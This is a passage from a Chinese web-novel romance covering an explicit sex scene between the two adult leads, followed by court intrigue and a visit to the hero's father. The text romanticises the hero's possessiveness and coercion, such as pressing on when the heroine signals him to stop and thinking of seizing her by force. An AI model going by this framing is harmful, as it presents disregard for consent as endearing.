沈遐洲矫情,还有些守旧,总是这不行那不行的,竟突然主动提出要与她试一试,王静姝哪能不怀疑? 她双目都快将他戳出了洞。 而郎君也在这样直白探究的目光中,红了面,他勾搭女郎腰间的环佩一下,低声:“我看书学习了。” 这下轮到王静姝茫然了,他看什么书,又学习什么? 郎君贴耳与她小声说了句什么,女郎的脸也红若桃晕,不忍听地瞪沈遐洲一眼,他都在乱学什么啊!那些难道不是本来就会吗?她都见他许多次有了反应。 沈遐洲又勾一下她的腰,害羞问她:“你要不要与我一起研习那书?” 王静姝贝齿咬唇,很是摇摆的模样,她自来是大胆的女郎,好奇心也极旺盛,没道理沈遐洲看得的书,她看不得,况,他要是学会得比她多,她岂不是被动了? “我就与你一道研习一下那书。”女郎矜傲如见多识广一般地道。 沈遐洲忍笑,腿也微抬一下,王静姝烫到一般地先爬起身,走在前头,后又朝他微抬了抬下巴,让他带路。 他们身后,人高的荻花仍在水边随风摇摆,但许是今日的霞色太美,它们也少了几分潇潇凄色,染上了旖旎的色彩。 屋中灯烛一点,书方摊开一页,其上颜彩笔触精致,连男女衣裳都画得鲜明,王静姝甫看一页,并无所动,也就男女亲亲,也没什么不同,可从第二页开始,明显的画中女郎的衣袍中有了不一样的起伏,那是男子手的轮廓,原来便是亲亲,也还有许多旁的爱、抚花样。 再往后,越发的大胆放、荡,她耳畔郎君的呼吸都粗重了不少,“卿卿,试试吗?” “试试吗?卿卿?” 他喘得她脸都红了。 他伸手去勾女郎的腰,试探地亲啄一下女郎的唇,一触即离地拉她的手轻揉交握,眸中欲、色要浸出来一般浓稠。 王静姝被感染般地面颊发烫,鬼迷心窍地顺着郎君撤离的动作微抬了下巴,而郎君也收到信号般再次俯身就来。 他们的心跳在亲吻中共通,亲吻也在自然地向下,衣带拉扯下,画中画面再现一般地,在呼吸起伏中一一实践。 郎君修白的指尖有点微凉,可像是会点火一般乱漫,先是绕在后颈处细细摩挲,继而拂过香腻的肌骨,滑至每一可能点燃之处。 惊喜地感受着所漫过之处的变化。 女郎“啊”一声地绷起了小腹,她感到对未知的恐惧,同时又有一种追求欢、愉本能的兴奋,这是一种奇异的感觉,有点儿引人深入探寻,也有点儿为此颤栗的紧张。 各种各样的情绪交杂下,她也学着去摸索郎君,她咬他脖颈,手指插、入他的乌发中,去抵御那种难耐的颤栗。 她忽地被郎君横抱起,绕至桌案不远的床榻中,青色的纱帐随着他们的倒下,掀起不一样的波动。 风将桌案上的书册吹得不断翻页作响,帐中郎君与女郎也几多翻、覆。 郎君一边拥着女郎,一边继续指腹向下地索求,女郎柔软的双臂也忽地拥紧了郎君的后背,留下一个个月牙似的印记。 他们渐渐不再满足这样你碰我,我碰你的接触,山水相逢般地终于遇上,她做好了容、纳的准备,而他也期待这一刻已久。 压抑不住的喟叹与满足仅仅一瞬,女郎便难耐地仰了头,郎君也特意停下来地等待,他亲亲她,大滴的汗水从他雅润的下颌滴落至女郎锁骨,蜿蜒下滑。 郎君又动了。 那滴汗也如荷叶上的一点水珠,在风中一颠一颠的,颤动不止。 那风时而烈,时而缓,女郎喉间压不住的叫,也时而难受,时而呜咽,但风来得快去的也快,女郎仰躺在锦被中望着还在颤、动不止的床帏,有些茫然地朝帷帐外伸了手臂,臂上金链红石妖艳夺目,她人也跟着爬起身地要去掀帐。 郎君拦腰将她拖回帐中,手也跟着地牵回帐中,他咬牙切齿,又无能委屈地问:“卿卿,你要去哪?” “我去翻书,瞧瞧书上可有说多久才算正常。” “不用翻,我知道。”郎君声中带上了要雪耻的阴戾,牙也去有一下没一下地磨着女郎,“卿卿,再来一次好不好?” 他虽是询问,可行动上却是不容女郎拒绝地拉她朝下跌去,他们在锦被中你拉我扯,争夺空气般地窒息亲吻,肌肤相碰间,王静姝察觉到郎君身上再次炙烫的变化,强势又昂、扬地向她挤来。 这似乎是一场狩猎,你来我往地较量着体力,谁也不愿意先成为猎物,谁也不愿先败下阵来。 沈遐洲浑身上下的血液都在这样的争夺中激烈作燃,他心底关押着的猛兽也好似在这一刻出笼,他常不知如何满足它,却在此刻寻到些答案,他一遍一遍唤着女郎:“卿卿,卿卿……” “你爱我吗?” 王静姝的腰肢在连翻的抚、弄中弯出了个暧昧的弧度,她似乎听到自己的哭泣,腰腹也发痛,她仰着颈子,她想他停下来地胡乱摇晃了脑袋。 可这似乎触怒郎君地迎来更轰烈的冲撞。 要死了,她要溺死在这样欢、愉中了。 这次后,王静姝无声地趴在锦被间,身子也仍旧是方才结束时的姿态,时不时地抽颤一下,她脑中记录的小本子除了不随意灌沈遐洲酒外,又增了一条,不再随意与他说试一试了。 郎君似还不餍足地捞她的发,她扯回自己的发,嗓音都在发颤发哑:“我不要了。” 她背后的郎君沉默许久,久到王静姝扭过头去看他,他又那样了,露出那种会令她怜惜的神情,他最近似乎总这样,面容俊美,可目底却常隐萧瑟。 他容情也萧肃,身上还满是她抓出来的痕迹,委屈望来时,怎么都透着一股子的凄楚,与她目光相触一瞬,终似自暴自弃地开了口: “是还不好吗?” 第59章 第59章“坏卿卿” 沈遐洲在问的什么不好,王静姝一下子就想到了,她红了脸,却又克制不住地想发笑,他怎就这样没有自信呀。 可她觉得这样的郎君甚是可爱。 她翻了个身,勾手去拉他,拉得他倾向她,她也微向上伏起身子,流水一样的锦缎也跟着缓缓滑动。 沈遐洲瞧着那锦缎如水一般滑动,将他先才见过的景色一点点显露,最后半掩不掩地卡在小丘处。 简直要命! 沈遐洲又被刺激得红了眼,她实在过分,非但嘲笑他,还又显出这番姿态,既勾他可又不要他。 他满心酸楚在心间来回地碾,却也在此时,被女郎又拉一下地勾住了后颈,他也一下地撞入女郎那漾着水波的眼眸,她是那样好看,大胆又肆意撩拨,他只看她一眼,便又失了神。 女郎便又笑:“我哪里说你不好了,是你自己乱想。” “你总得让我歇歇呀。” 她说得足够光明诱人,目中也缱绻着戏谑的光华,沈遐洲不禁咬住了牙关,呼吸也再次变得凌乱不堪,他覆身而下,抵着她的额,咬字:“坏卿卿。” 平日里,他总卿卿、卿卿地喊,就已够亲昵了,可这声含着欲,又沙哑低怜的“坏卿卿”,一下子喃红了王静姝的脸,她身子也极有感觉地轻颤了颤。 沈遐洲似发现了这一点,追着她咬地与她翻作了一处。 青色的帐子伴着年轻郎君与女郎的胡闹,时而飘荡,时而 停歇,窗外月色下水边荻花也纷扬一处,像是染上了绯色般令人迷醉。 * 翌日,天色才蒙亮,郎君就已醒了。 他怀中仍抱着女郎,女郎长发散在枕上,与他的发交缠在一处,瞧着就缠绵亲昵。 他微侧了身瞧睡得静谧可爱的女郎,眸色时而柔和,又时而晦暗,为自己的幽晦心思感到卑劣。 他知女郎最容易怎样心软,他诱了她,他想再得到女郎一些,也想与女郎更进一步,想到心里着了魔,只有与女郎交融一处时,他才得到短暂的心安。 他昨日喝的也不是什么伤药,而是避子药。 “卿卿,你会怪我吗?” 他声轻得若云散,一点动静也掀不起,女郎也如是的半点回应没给他,仍旧睡得香甜,她大概根本不会怪他,她是个坏女郎,她早就贪他的色。 可他许多幽晦的心思仍旧不敢让她知道。 他又抱了抱女郎,女郎在睡梦中也有所察似的贪恋依上。 属于女子的柔软馨香扑了他满怀,没有任何阻隔的相贴简直令他色授魂飞。 昨夜刺激到跌宕时,观感都汇集到了脸红心跳处,可在白日亮光明耀时,他便会回忆起女郎无一不美的肌肤,山川水绕一般的婀娜腰身与丰盈动人的月匈脯,这些无时无刻地不在诱着他。 他既喜爱,又羞赧,眷恋,又矫情,他感到非但有朝下的热流,鼻翼也又痒得紧。 女郎知道了,或许又要嘲笑他,也有可能扇他。 他叹息地起身,披衣向外,他现在竟觉得女郎就算扇他,也兴奋无比。 嵇牧已重回了沈遐洲身边,瞧郎君捂鼻出了房门,脖颈向下没掩好的衣襟隐约能看到一些痕迹,瞧着就激烈。 他视线不过多停留了一会,那眉眼雅致的郎君就一眼望来,小气不愿让人瞧见女郎留下痕迹似的掩上了衣袍。 继而走远了些,才眼尾微抬地示意他上前回话。 嵇牧跟着沈遐洲多年,对他情绪变化的感知直觉可以算得上是强,如现在,他就觉得郎君情绪非常稳定,甚至几多愉悦,他也放心许多地将在京中的消息一五一十禀告。 原是沈遐洲虽对其中一批杀手来源多有指向长公主,但他本性多疑,且诡谲思量下唯恐不乱得更快一些,他将那些黑衣杀手尸身全让人运回去京中,由尚书省都官查理。 不出所料的,查出了丹阳王,朝中各议纷纷,丹阳王刺杀长公主之子,这除了对长公主不满想造反外,实再难寻出旁的缘由。 这种结论一旦定了性,就算说出其是为了得到一个女郎,被另一批黑衣人利用了,怕也是没有人会信。 况,长公主只在意这个令她在意的走向,她早便想削了丹阳王手中的权,只苦于没什么机会,也腾不出手来。 丹阳王这人祖上是平定南地令大绥统一的功臣,被封袭爵异姓王,这种封定除去犒赏功臣外,也有知其与南地世家难解的渊源,有相互牵制作用,只世代承袭,祖上对立仇恨渐消,如今的丹阳王与南地世家趋近一种平衡稳定的关系。 然王娘子从建业的逃离,长公主偶然探查下,才知丹阳王有了与南地世家联结,更壮大一步的野心。 她曾派人去敲打过一番。 也是这番敲打,其千秋宴也不敢入洛京献礼,恐被扣在洛京。 丹阳王怀恨在心,派出杀手取她儿性命的因果也说得过去。 长公主没有更深地深究,作为一个有野心的政客,她的目光总是放得更大更远,这批杀手留下的指向是送上门的把柄和转机。 她正愁怎么给想抬举的寒门武将立功的机会,也正愁如何更令他们巩卫皇室一些。 丹阳王狼子野心,该集结各路人马征讨之。 这是极好的机会。 嵇牧禀报得一丝不苟,也并无什么偏颇,可沈遐洲就是能从中理解长公主的用意。 嵇牧忽地觉得周遭的空气都有些冷,其实这些根本无法证明杀手一事,就是长公主促成的,但长公主所为,太过寒凉,刺杀一事已过去数日,其除知晓郎君伤重需修养外,她投身于大事,对郎君少有过问。 他不由觑一眼郎君,许是对自己的母亲太过了解,也料到了会如此,郎君的面上显得尤为正常,可也正因为太过正常,才令人心里发毛,郎君似乎放过的太轻易一点了,有点舍身成仁助长公主达成所愿的大度? 嵇牧被自己的想法刺激得起了一身鸡皮疙瘩。 沈遐洲没有说话,他确是了解自己母亲,不管是不是真是长公主派出的后一批杀手,长公主都会如现在这样布局安排,且她没有更深究他被刺杀背后,可有除丹阳王外的隐情,只有两种可能,本就是她派出之人,所有的事她都知,第二种,她不知,但她已然沉浸在如今的布局中,无瑕过问已没有性命之忧的亲子。 无论是哪种,都显亲情淡薄,这根本不需要去证明。 他真正想做的,确如嵇牧所料,事既已发生,那便干脆促成长公主所想做之事,如此,即便是后一种可能,先手也仍在手中,另一批杀手的幕后之人,即便有旁的任何谋划,也只能屈于这大势,若有任何旁的动静,也正显露了马脚。 且在如今这样酝酿的局面中,他正可以去一趟小次山,请会坐不住的人出来。 只因兵将一旦调动,将职军衔等皆会发生变动,这无疑是各种权势的清洗打乱,有人得,也有人失,世家、寒门、皇权三方的矛盾必然被再次激化。 他一直觉得长公主有些失去理智的急躁,且逐年愈盛,而有人也不会放任她自取灭亡,也不会任由沈氏陷入其中,沈照会下山的。 他们去斗吧,便无暇来阻碍他与女郎了。 沈遐洲眉眼依旧远淡,面庞也显出几分柔和,可那似有若无的笑意,莫名地令人察觉寒凉,就好像这个瞧着俊美柔和的郎君,其实疯狂凉薄十分。 也正因京中发生了这样的大动静,气氛紧张,连子弟间的玩乐宴饮都少了不少,沈四娘子都有些羡慕王表姐了,感受不到那种弥漫的硝烟味。 且三哥受伤,表姐竟是与三哥一起过节,还为照顾三哥留在了别院,她这时若是还没察觉表姐与三哥之间的古怪,她就该怀疑的自己的脑子了。 她犹在羡慕之时,王静姝正去往孟津渡的路上。 孟津渡在洛水之北的一个分支河段,河面常年经过冲刷,周遭地形都较为平坦,浅滩也呈现一种干净的色泽,她掀帘朝外远瞧,惊喜发现有白鹭南迁,它们脖颈修长,翅膀轻盈,如雪洁白的羽毛展开连成一片飞翔的模样,宛如坠入绿林的点点白星,壮观又迷人。 但它们南迁,也同样意味着天气转冷,王静姝即便在马车中,也能感到些江上传来的寒意。 她又远望了一会,瞧见河岸边的郎君朝她招手,原是终于可以走了,他们所停留的这儿,虽属孟津渡,但他们要去的其实是小次山,真往渡口去反是舍近求远了,倒不如就近寻个摆渡人。 郎君觉得江边风大,便与她先留在马车中等,然他也是第一次来此,对卫士寻来的摆渡人和小舟,与宽阔的江面相比,很是持怀疑的态度,非要先去瞧瞧才唤她。 王静姝也由着他作,她才不会陪他多吹冷风。 而此刻,一下了马车,迎面来的风,就将她衣袍裙裾吹得微微晃动,但随着她行动间,这江风也好似为她添了风姿一般地被她甩在后。 沿途旅人只见一身鲜色衣衫的女郎,背影纤柔,裙裾发带飞扬若霞,行姿欢若蝶舞,而在小舟之上朝她伸手的郎君也自如芝兰玉树,迢遥似云水。 女郎好似跌一下地扑入了郎君的怀中,郎君娴雅浅笑,目中也满是缱绻与眷恋。 俊美郎君,貌美女郎,何等赏心悦目,众人目光也不由随着远去的小舟放远。 第60章 第60章“沈九如,你也知道丢人…… 王静姝是被忽然变了风向的风吹得衣袍掀动,才踉跄 跌一下的,沈遐洲却拥她一下地再不放开,美名其曰江上风大,怕她着凉了。 她从他怀中抬起脸,双眼又清又亮地一直盯他,唇角也弯弯地翘起,不用开口,郎君也该懂她的意思,她目中明晃晃写着—— 你自己信吗? 沈遐洲被她挑衅得生了心虚,眼神也开始闪烁,不敢与女郎相对,他就是想抱抱她。 那日后他就几乎没有什么机会能与女郎亲热,因为女郎总拒绝他,他就知道,她得到了就对他失去了兴味。 现在抱一抱也不肯了吗? 可那事分明是他自己挑起的火,自己算的日子,他还无处可诉。 王静姝瞧他暗淡的眸光就知他又在乱想了,不过,她这些日子确实避开得太过了些。 更早之前,她敢肆意地去撩拨沈遐洲,贪他容色是一方面,另一方面,她是知他秉性,不会轻易松了最后一道防,线,便以撩拨他为乐。 可现在他都没底线了,那日与他胡来,许多情状现在想起来都有些骇人,这还是因他有意无意地避开了些残留。 可即便这样,她后来跳出欢,愉情、潮后,也感到担忧了,她之前竟没想过,万一怀上了如何是好? 那不管是于谁,亦或是存在可能里的孩子,也都是不负责任的,她开始反思起自己过往的任性。 翌日,她就偷偷寻了嵇牧要他将自己婢女接来,还隐晦提及了避子药,就是要他赶紧去借着接人把药送来了,最要紧的是用这个由头瞒住了沈遐洲。 郎君俊美面皮下形如恶鬼的暴戾一面,她是真怕他多想,她准备先用了药再给他好好做思想工作。 然嵇牧听懂了她的示意,棕色面皮难以言状地抽了抽,说话也支吾,只说女郎用不着那些药,伤身体。 她不依不饶地问他为何。 嵇牧欲言又止,自然不敢说郎君是蓄意勾引,早就服用过了,最后想出道郎君连日用的伤药就已有避子的效用,不用多此一举。 王静姝若有所思,觉得他说的挺有道理,且,当日,她的小日子也如约至了,她一瞬疑惑过好像太巧合了一些,但结果于她而言无疑是好的。 可她也谨慎地收敛了许多。 此刻,人在江上,郎君还许多伤怀地望她,她也于心不忍了,觉得该哄哄他。 她主动地张臂拥了他腰,脸也埋入他胸膛,嗓音也柔软关怀极了,她道:“三表哥,可我担忧你着凉啊!” 沈遐洲心神都晃荡一下,她果然是在意他的! 当下,他耳廓泛点红地牵起女郎,往有些低矮的船篷中去,坐下后也并不松开女郎的手,为她暖暖手地反复在手心揉搓,她的手极白净纤长,指腹饱满,指尖留有比指腹稍长一些的指甲,修剪得圆润粉白。 他怎么看都喜爱非常,反复揉捻下,女郎的指骨处被捂出了淡淡的红,就像染着欲色一样。 他有点想,若是女郎能帮他握一握该是如何景色。 他好像又有点上火了。 王静姝眼瞧着他牵牵她的手都能牵出感觉,心中像是被猫尾撩过一般,心痒他的好撩拨,还有些矜傲,曾对她不理睬的小郎君也有今日! 她既不能肆无忌惮地撩拨他,那就给他找点不痛快降降火,她无意般地抽回自己的手,郎君也紧跟望来。 女郎笑靥微敛,道:“我方才想起了一件许久以前的事。” “何事?”沈遐洲偶有一瞬,察觉到来自女郎的危险,就好像他若是答的不好,就会连船舱都不能与女郎同待的那种危险,瞬息的功夫,他就反思了许多,也紧张了许多。 他一紧张,王静姝就莫名想笑,她觉得他们如今的状态,就有点儿像是新婚中的小夫妻,而她正要寻夫君算账,她将这种想法压下,兴师问罪一般地开口:“你可还记得你害我跪祠堂之事?” 那是数年前,沈遐洲离开建业前的事。 一经提,沈遐洲自然就想起,那时他还与女郎斗地不可开交,起因是他那扭曲的独占欲作怪,他厌恶那些总是缠着女郎的那些小郎君,也厌恶那些人提起女郎时的熟稔,嫉恨他们与女郎几乎是青梅竹马的情谊,他在这些人来寻衅时,命人将他们一一扔入了水中,彼时,他就在岸边看着,并不让他们有机会施救。 没有闹出任何人命,可也是那之后,女郎就在新朋旧友中做出了选择。 这种不好的回忆,很快就令他某种火气压下,升腾起名为怒的阴鸷,可顾忌女郎还在,他只小心地回答了“记得”二字。 王静姝哼了哼,“你记得就好,不过一码归一码,跪祠堂我可以不与你计较,”她虽是顶罪,可她的好友们带人寻衅是不争的事实,她对此也不是一点也不知情。 所以,她最气的是:“你看着我整整跪了三日,我连偷懒都不能有。” 她从未受过如此不近人情的罚,若换了家中旁的人看守,早就睁一只眼闭一只眼,只要她白日里去祠堂待够时辰就可以了。 可因为沈遐洲的参与和亲自监督,她与他犟了三日,跪足了三日,她一个好面子的女郎,在不知心动是什么的时候,就在在意的小郎君跟前面子里子都没了。 如何能善了? 沈遐洲显然想到了症结所在,女郎是遇强则强的性子,洛京再遇,若不是他先低了头,他与女郎根本不可能有如今这样和谐的时候,当然,女郎好他容色也占了许多的缘由。 只现在再回想更年少时,才惊觉自己做法有多错误。 果然,听得女郎又道:“你为何非要盯着我受罚,就是要看我笑话吗?” 她本是想给沈遐洲找不痛快,可越想,越发真情实感地气上了。 顷刻间,沈遐洲只觉得冷汗都要被女郎逼问出来了,他表情有半晌的空白,心中还几多酸楚,眼神也带上了伤怀之色:“我并没有想笑话你,我是想与你独处。” 他的解释,直让王静姝露出幻听了似的神色,他想的独处方式就是害她去跪祠堂吗?她目中不断蹦跳着火星,显然更怒了。 然郎君犹在幽诉:“你根本不理我,一句话也不同我说,连看都不看我。” “而且,你与那些郎君的交好胜我尤多,你站在他们那边,可我只有你,你也厌了我。” 不知为何,王静姝的心忽地被他说得触动十分,甚至有些难过,他虽然常装弱,可那多是伪装出来的假象,他强取豪夺,不顾他人意愿。 而她,只是恰好,百无禁忌,也恰好,偏生对他心动了。 这种心动,其实,即便到了如今,也没有让她能坚定选择沈遐洲,她只是仍旧沉浸在此,舍不得罢了。 就像她从未主动去碰触他更深层的心底,她甚至连他为何会中毒也不曾试图去探究,她也不问他为何父母会分居两处…… 她忽视了许多问题,只想与他一晌贪欢,再然后呢,她还没有想太长远,所以她才会在察觉自己任性后可能会造成的结果时,克制地矜持了许多。 可此刻,她才有些惊觉,他总博取同情挂在嘴边的一些话,或许不是装的,他是真的那样想的。 她心中一时酸涩懊恼,竟有点儿想哭。 她垂目缓了缓,投入他怀中地抱他,脸也埋入他胸膛,“我哪有与他们交好胜过你,不然我怎会在你怀中?” 说到这,她俏皮地抬眼冲他眨了眨,甚至仰脸去亲他。 郎君也在此时垂目,极其自然地低了头。 就好像他们天生就该这样纠缠,一旦唇舌相碰,就星火燎了原般地再难舍难分,女郎有意送吻,极尽了柔怯地任由郎君索取,而郎君也像是感受到了女郎不同以往的温驯,惊喜又比以往更深入地索取。 他们热烈地交换着一个漫长的吻,女郎也情动地扭了扭身子,郎君一把将她抱到了腿上,他们犹如交颈般依靠着彼此缓着难以平复的呼吸 。 呼出的热气甫一触到空气就变凉,又因他们靠得太近,凉气飘荡到郎君裸露的肌肤时又回以热流,往来回复地令两人都发了痒,女郎先禁不住地笑了起来,郎君也跟着笑。 王静姝直到笑够了,才张扬嚣张地捧了郎君的脸道:“你方才说错了一句话,我没有厌了你,你也不是只有我。” “三表哥,你身旁还有许多人呢,像与我一起去阴平寻你的二表哥,还有总怕你,但有事也会先想起的四娘子,还有叔母、嵇牧……” 她一口气给沈遐洲数出了许多来。 沈遐洲都有些懵然女郎怎突然这般认真,她过往对他的病态话语,不是反驳就是不理会。 她这是想起当初就令她心动的小郎君了吧,所以才这般地转了态度,想想昔日的小郎君可真好命,小女郎日日都追逐在他身后,不像他,总被女郎热一阵冷一阵地反复对待。 他容情古怪,目中也满是发酸的妒意。 王静姝都被他看的莫名了,他又小心眼地记恨上谁了? 若王静姝知晓他竟嫉妒过去的自己,怕是也要骂上一句“有病”,可惜她并猜不透,船篷外也一阵风卷入,是有人提醒,他们马上就要到了。 江潮涌浪,渚清沙白,摆渡停歇在了一石岸处,王静姝提着裙摆下了船,入眼山势峥嵘,随处可见树灌藤萝,只入了秋,不少草木不复鲜绿,变得深绿甚至熟透一般的红黄色彩,如此望去,峥嵘山势便少了几分令人胆怯的惧意,多了些野趣,这便是小次山了。 很难想象这样的山中藏了座道观,还结庐隐居了个沈家家主,若是涨潮时,这儿根本没有人会来,便是山中人平日里出去也不方便吧? 她不由多想,也趁机与沈遐洲多问了些问题,她开始好奇更多,不再停留在已知的那些,她的心在不由自主地朝他更靠近。 郎君也被女郎哄得晕乎乎的,说了许多,可提及他父亲是个怎样的人,可会令人害怕,沈遐洲容色微凝了一下,只道:“他不是个会令人害怕的人,你见了便知。” “他与我母亲不同。”像是想了许久,沈遐洲才想到一个词形容沈照,“很早以前是个君子。” 君子就君子,偏加了个很早以前,王静姝眼波晃了晃,便知怕是沈遐洲自己也不确定自己父亲如今到底是如何模样了。 非要算的话,其实也谈不上非常多年,至多也就四年,可沈遐洲算上虚岁也才十八,四年几乎占据了他从小少年到男子蜕变的所有时光,便是有过书信往来,那些文字也代替不了面对面的距离。 嵇牧在他们前头带路,后头只跟了郎君与女郎,更多的卫士和女郎的侍女,不方便一大群人涌到小次山,都在隔江的村落中暂落脚。 他们也不用一口气地爬到山顶,山顶的道观名字起得随便,就叫随云观,只有一个老道与几个小徒弟,沈照与老道士是忘年交,修道也是对外说法,非是真的入了道门,也并不住在道观,带了个随从在半腰的地方建了几间竹舍草屋。 在他们耗尽力气前就见到了那几间简单的屋舍,时有香气飘出,也有自在琴音流泻。 沈遐洲脚步微顿了顿,瞳眸冷黑,里头似有着无尽的深渊,汹涌逃脱着破坏的阴鸷,却又牢牢地被他压制住了。 他总是会时不时地冒出一些恶意,但好在,十次里总能压制下去七八次,他依然是俊美又正常的郎君。 他只是心思坏了些,又不是时时会做坏事,若是连想想也不行的话,他也太可怜了,他忽地委屈又寻求认同般瞧了一眼女郎。 光一眼,王静姝就汗毛倒竖,他心思太多了,有时是古怪扭曲,有时是狠戾阴暴,当然也有可爱矫情的时候,可又哪时时猜得准呢,她想,她以后得让他说出来才是,不管是好的还是坏的。 她如今竟会想与他以后了,顿然一下,又若无其事地迈步。 沈遐洲没有得到回应,诡谲心思就全转到了女郎身上,恶意也不再。 也似察觉到来人,琴音压停。 嵇牧早前就是从主君沈照手中挑出给了郎君,他再见主君,心中也有些激动,先向其请安道:“主君,我同郎君来看您了。” 那抚琴男子目光先在嵇牧身上稍停,继而弯绕一下,瞧见了一对正青春的年轻男女,郎君初瞧下,长身玉立,质若云月,女郎身形纤细,立在郎君身边,漂亮得像是朵粉黛芙蓉。 但细瞧下,两人与世间许多情人相处又有些不同,女郎明显更快一点,郎君亦步亦趋,愁绪也碎光点点般散漫。 许久没见过这般鲜活男女,沈照也浅浅笑了,他还以为三郎没了他约束,会越发靠近那人,如今瞧着,倒也还好。 王静姝陡地停顿住脚步,她自来好郎君们的好容色,还总会被同一类温柔高渺的气质吸引,琴后男子既是沈遐洲父亲的话,那也得有不惑之年了,可瞧着却像是才三十出头,穿着葛布道袍,宽摆全铺在麻藤编的藤席上,望来时眉目温而清,不带一丝浊气,笑容也温和友善,有种长者的奇异包容感。 沈遐洲目色又不好了,王静姝她到底是有多爱容色好的男子,连年纪大的也看。 他作怪地勾拉她一下,同沈照恭敬唤了声:“父亲。”又介绍身旁的女郎,“建业王氏六娘,儿想娶她。” 王静姝才怪他拉她,害她在长辈面前失了礼数,就听到这般石破天惊的介绍,美目都瞠大了。 沈照也略皱了眉,三郎与他的生疏冷淡言语可见,对女郎的介绍也非是想征求他的同意,不管他肯不肯,三郎都会按自己的做,这种似曾相识的偏执,令他重新审视起面前的儿子。 王静姝想说些什么地翕张了唇,却触及沈照柔和望来安抚的眼神,他立起身抱美一般抱起了琴,同沈遐洲道:“这非你一人所能决定,六娘子若是不愿,你当如何?” 那就抢! 想法下意识地就掠过了沈遐洲心头。 一眼,沈照便洞悉了沈遐洲的本性,他不愿听地摇头,“你来当不止是说此,还有何事?” “京中发生了些大事,请父亲过目。”沈遐洲朝嵇牧看一眼,嵇牧将整理好的京中邸报恭敬递上。 沈照盯着那封漆的信封几多凝滞,他做不到真全然放下,那京中雪花一样的送来的各种书信,他全看了,容纳了那人全部负面情绪,但,从不曾给她回过信。 他心中轻叹一声,接过了,让他们留下来用饭,也不用急着离开,还有空房舍,正好两间。 沈遐洲虽觉不自在,但也确没有离开的意思,拉着女郎就等着开饭,然等沈照一转了身离开,他就小心地觑女郎的脸色,“你早就答应要做我夫人的。” 他倒是先委屈上了,王静姝气不过地想,却陡地发现了不对,她何曾确切地应过他要做他夫人了,唯有那不小心的一次,她紧盯他问:“你是没醉,还是都记得?” 郎君赧然垂目:“都记得。” 王静姝嗤他:“沈九如,你也知道丢人啊!” 郎君醉后的言状,想来他自己回忆起来都觉得难以启齿,偏生那日王静姝还许过他一诺,在又被女郎嘲笑和被悔约之间,他选了前者。 女郎一笑,先才的羞恼也就绷不回去了。 如此,倒也值当。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章“卿卿,我还想与你亲亲…… 沈照入屋舍前,无意间瞥见年轻男女的相处一眼,女郎骄矜别面,而郎君微倾身言语,虽不知他们在说些什么,但便是随意一眼,也能感受到他们之间自然流露的亲昵。 封漆信封安静地摆在桌案上,沈照迟迟没有打开,比起方才在晚辈面前的温雅清贵,此时的他,眉头紧锁,愁绪爬满面容,竟也显出几分符合这个年岁的苍苍疲态。 他眼皮微颤,恍有雾气结于眼前,许多昔日旧影 也在雾中浮动—— 北地的雨没有南地的缠绵,总是一来就急骤如盆倾,他正去桃花观中接祖母归家,遇雨躲于山腰亭中,大雨滂沱,山中漫起腾雾般的湿气,他背手而观,也是这时,山道中有车驰来,覆青缎,挂玉铃,镶云母,一看便是富贵人家的马车,但并无族徽,因稀奇他多看了几眼。 而马车似乎急着上山,半点不停,飞渐起许多的泥点,然,雨中山路难免会遇上冲下的山石拦路,睁眼看着那马车有翻倒的危险,他不由皱了眉。 好在驭马之人显然是身经百战的练家子,惊险中停顿住了马车,只车轱辘也陷入了泥潭中。 沈照自来心善,遣了身边的卫士去帮忙,亭子也可让出一半请车中主家一同躲雨。 马车的青色帷帘被掀开了一角,有女舜华。 大概就是那一眼,他心甘情愿地不断陷入了名为陈薇的陷阱,即便后来猜得了她的身份,也猜得了她是为扶胞弟登基而来,而沈家长子的他从一开始便是她的目标。 只是,自此经年,他仍会想他们的巧遇到底有几分真? 若全为假的,未免也太过巧合,可若存真,他们又为何会走到如今的地步? 她所有的爱都裹着欺骗,所有温柔都藏着算计,他对她失望透顶,让出了她所想要的一切,没有人再禁锢她扩张的野心,可也同样再没有人为她在世家中斡旋。 他在许许多多的信中,见她一日日变得越发不似曾经,越发尖锐,也自信中承受着她的恶意与中伤。 而他的回避,也一如既往地同她对抗着。 光影透窗浮动,沈照无力般地吐出一口气,独居久了,他常会奇异地平静,奇异地想起过去,也会想,走至如今,他可也有错? 他终是伸手向了那未启的书信。 * 王静姝对沈遐洲是又气又好笑,气他胡乱在长辈跟前放言,又好笑他此时露出的纯良羞赧之态。 他可真是能装啊,亏她还顾及他受伤,不曾故意提及他在秋社日的丢人。 她看沈遐洲眼神越发地挑剔,神情也透着淡淡的嫌弃。 沈遐洲也被女郎睨得越发想起秋社当日醉酒后的事,在一群陌生百姓面前手舞足蹈,如何想也与他过往十余年所讲究的相违,他目色微微沉敛,露出委屈伤心的容色:“你就笑话我吧,反正我就是记得了。” “你答应做我夫人的事也休想反悔。” 他的容情微狞一下,透出几分无力的威胁。 王静姝这下是真的忍不住,扶腰笑了起来,怎会有这样的郎君啊,委屈哀怨地抱怨她,可又不甘憋在心里地胁迫她一句。 就像家养的小狗,冲主人吼叫得再凶,也不会真伤害一下,反自己越叫越委屈,令人—— 喜爱得紧。 想怜爱他,还有亲亲他。 王静姝如是想,也如是做了,她双靥还染着笑意地勾上郎君的脖颈,在他颊畔飞快“啵”地亲了一下。 沈遐洲快过惊愕地扶住了女郎的腰,听得女郎在他耳畔吹气般地道:“暂时不想反悔。” 沈遐洲还未从亲吻的喜悦中回过味,先捕捉到了女郎促狭无比的“暂时”二字,心情跌入谷底地拉下女郎的手臂,不甘追问:“为何是暂时?” 王静姝才不惯着他地从他手中抽手,连衣袖也一点点地收整了回来:“你那日醉得神志不清的,我哄哄醉鬼罢了,哪里能全当得真。” 沈遐洲咬死王静姝的心都有了,他便知她是个坏女郎,她连当人夫人的承诺都能乱许。 他与王静姝对视着,骨子里的本性似也压不住地显露,狭隘又阴郁,目色也沉静得有些可怕。 王静姝听得他一字一字地加重道:“我当真了。” 她心跳得飞快,目光却不移开半分,她在欣赏他显露本性时的模样,俊美又危险。 她的心好像跳得更快了,真是要命,她如今真能确定,她的喜好确实被沈遐洲带歪了。 她竟连他本性中带的那点“恶”都觉得喜爱,甚至故意去逗他生气显露他想藏着的那一面。 女郎目中摇曳的兴致并不加掩饰,沈遐洲触动般地醒悟——女郎分明也喜爱他。 可她又坏又顽劣地不松口。 沈遐洲眼底清寒倏地散开,俊美脸庞也倏地显出了被苛待般的萧瑟,他又去拉扯女郎,语调幽而带怨:“卿卿,那你要如何才能全当真?” 